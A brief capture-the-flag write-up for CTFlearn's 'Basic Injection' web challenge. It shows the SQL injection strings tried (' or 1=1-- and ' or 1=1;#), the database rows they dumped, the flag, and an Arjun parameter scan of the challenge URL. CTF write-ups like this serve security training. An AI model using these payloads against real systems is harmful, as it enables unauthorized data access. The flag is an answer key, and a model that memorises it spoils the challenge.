Basic Injection

Basic Injection

See if you can leak the whole database. The flag is in there somwhere...
https://web.ctflearn.com/web4/
Try some names like Hiroki, Noah, Luke

Flag: CTFlearn{th4t_is_why_you_n33d_to_sanitiz3_inputs}

Writeup:

tried a bunch of SQL strings like **' or 1=1--** and **' or 1=1;#**
' or 1=1;# gives data back:
Name: Luke
Data: I made this problem.
Name: Alec
Data: Steam boys.
Name: Jalen
Data: Pump that iron fool.
Name: Eric
Data: I make cars.
Name: Sam
Data: Thinks he knows SQL.
Name: fl4g__giv3r
Data: th4t_is_why_you_n33d_to_sanitiz3_inputs
Name: snoutpop
Data: jowls
Name: Chunbucket
Data: @datboiiii

arjun-parameter-scan

```
taj702@kali:~/Arjun$ python3 arjun.py -u https://web.ctflearn.com/web4/

    _
   /_| _ '
  (  |/ /(//) v1.6
      _/

[~] Analysing the content of the webpage
[~] Analysing behaviour for a non-existent parameter
[!] Reflections: 0
[!] Response Code: 200
[!] Content Length: 1088
[!] Plain-text Length: 177
[~] Parsing webpage for potential parameters
[+] Heuristic found a potential post parameter: input
[!] Prioritizing it
[~] Performing heuristic level checks
[!] Scan Completed
```